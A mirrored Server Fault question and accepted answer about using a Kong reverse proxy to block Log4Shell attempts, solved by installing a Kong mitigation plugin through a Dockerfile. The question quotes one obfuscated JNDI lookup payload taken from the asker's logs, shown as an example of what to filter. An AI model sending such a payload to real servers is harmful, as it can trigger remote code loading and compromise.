大网数据广告活动
服务器运维问答

Use kong reverse proxy to filter log4j exploits

· 52CE 我爱测

I am using a kong reverse proxy to proxy every HTTP request for my web servers. I would like to mitigate the current log4j problem (" log4shell ") by finding and replace the critical attacers' strings like "jndi". For example I f…

问题原文

原帖链接 · dsteinkopf · CC BY-SA 4.0

I am using a kong reverse proxy to proxy every HTTP request for my web servers. I would like to mitigate the current log4j problem ("log4shell") by finding and replace the critical attacers' strings like "jndi". For example I found this im my logs:

${jndi:${lower:l}${lower:d}a${lower:p}://xxx.log4j.bin${upper:a}xxx.xx:80/callback}

I think this could be accomplished by using the request transformer plugin. Has anyone already done this?

P.S. Just replaceing jndi by disabled is too far-reaching and breaks a lot of things.

已采纳解答

原帖链接 · dsteinkopf · CC BY-SA 4.0

The guys from kong themselves recently sent a blog post that answers my question. They developed a kong plugin that mitigates the exploit.

I added this plugin to my kong by changing my Dockerfile:

FROM kong:2.6
...
USER root
...
# log4shell mitigation
# see https://konghq.com/blog/log4j-log4shell/
RUN git clone https://github.com/brentos/kong-plugin-log4shell && \
    cd kong-plugin-log4shell && \
    luarocks make
...
ENV KONG_PLUGINS ...,log4shell
...
USER kong

Then I just added this log4shell as a global plugin.

摘自公开归档,保留原文语言,版式经整理,外部媒体与邮箱地址已移除。

资料来源与适用范围

资料来源
Server Fault
适用范围
以原帖系统、软件版本与发布日期为准(2021-12-13)
内容语言
中文;命令、路径和错误标识保留技术原文
本地收录日期
2026-11-15
授权说明
CC BY-SA 4.0

正文与所需资源由本站本地存储。查看来源及更新记录 ↗

请按适用版本和实际日志确认原因;本站没有对每一种系统或设备逐项执行文中的操作。